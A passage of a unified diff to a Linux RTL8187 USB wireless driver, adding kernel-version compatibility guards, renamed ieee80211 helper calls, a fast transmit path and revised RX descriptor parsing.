case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1296,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1315,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1373,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1384,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1409,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1422,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1435,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1477,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1494,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1593,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1604,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1625,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1652,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1679,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1720,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1767,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1827,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1875,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1884,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1967,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2002,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2031,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2121,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2187,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2210,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2224,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2268,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2407,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2425,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2445,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2456,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2469,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] 